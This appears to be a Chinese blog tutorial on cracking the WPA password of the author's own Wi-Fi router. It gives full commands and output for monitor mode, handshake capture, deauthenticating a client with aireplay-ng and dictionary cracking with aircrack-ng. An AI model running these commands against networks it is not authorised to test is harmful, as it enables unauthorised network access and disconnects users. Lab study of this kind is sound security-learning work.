无线网络密码破解初体验

实验准备

准备一台路由器、可以设置为混杂模式的无线网卡和kali linux

本次实验破解的WiFi基本信息如下：

获取当前环境Wi-Fi

1. 查看当前无线网卡工作模式

iwconfig wlan0

如：

┌──(shelmean㉿kali)-[~]
└─$ iwconfig wlan0
wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

2. 设置网卡为混杂模式

设置为混杂模式(Monitor)时会提示需要kill掉一些干扰进程，使用 airmon-ng check kill 可以kill掉干扰进程

sudo airmon-ng start wlan0

如下，设置为混杂模式后 wlan0 变成了 wlan0mon

┌──(shelmean㉿kali)-[~]
└─$ sudo airmon-ng start wlan0
[sudo] shelmean 的密码：
 
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
 
  PID Name
  411 NetworkManager
  576 wpa_supplicant
 
PHY     Interface       Driver          Chipset
 
phy0    wlan0           mt76x2u         MediaTek Inc. MT7612U 802.11a/b/g/n/ac
                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)
 
┌──(shelmean㉿kali)-[~]
└─$ ifconfig
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 8  bytes 400 (400.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8  bytes 400 (400.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec 8C-88-2B-10-04-16-30-30-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 1821  bytes 574539 (561.0 KiB)
        RX errors 0  dropped 1821  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
 
┌──(shelmean㉿kali)-[~]
└─$ iwconfig wlan0mon
wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

3. kill掉干扰进程

┌──(shelmean㉿kali)-[~]
└─$ sudo airmon-ng check kill 
 
Killing these processes:
 
  PID Name
  576 wpa_supplicant

4. 扫描附近 Wi-Fi

sudo airodump-ng wlan0mon

抓取四次握手报文

1. 指定抓取指定无线网络的报文

sudo airodump-ng -c 6 --bssid 24:6F:8C:80:16:60 -w mercury.cap wlan0mon

测试 Wi-Fi 为 ABC-Mercury-2.4G，扫描出来看到 BSSID 为 24:6F:8C:80:16:60 信道为 6

抓取的报文保存为 mercury.cap

目前有两个Station连接在上面，其中 9C:28:F7:9A:1B:14 为我自己的手机Mac

2. 将station踢下线

为了抓取四次握手报文，新开一个 terminal，使用 aireplay-ng 攻击工具将 station 踢下线

aireplay-ng -0 5 -a 24:6F:8C:80:16:60 -c 9C:28:F7:9A:1B:14 wlan0mon

然后等手机重连，可以看到抓取到了握手报文

3. 跑字典

rockyou.txt 为字典文件

aircrack-ng -w rockyou.txt -b 24:6F:8C:80:16:60 mercury.cap-01.cap

短短几分钟就找到我们路由器的密码了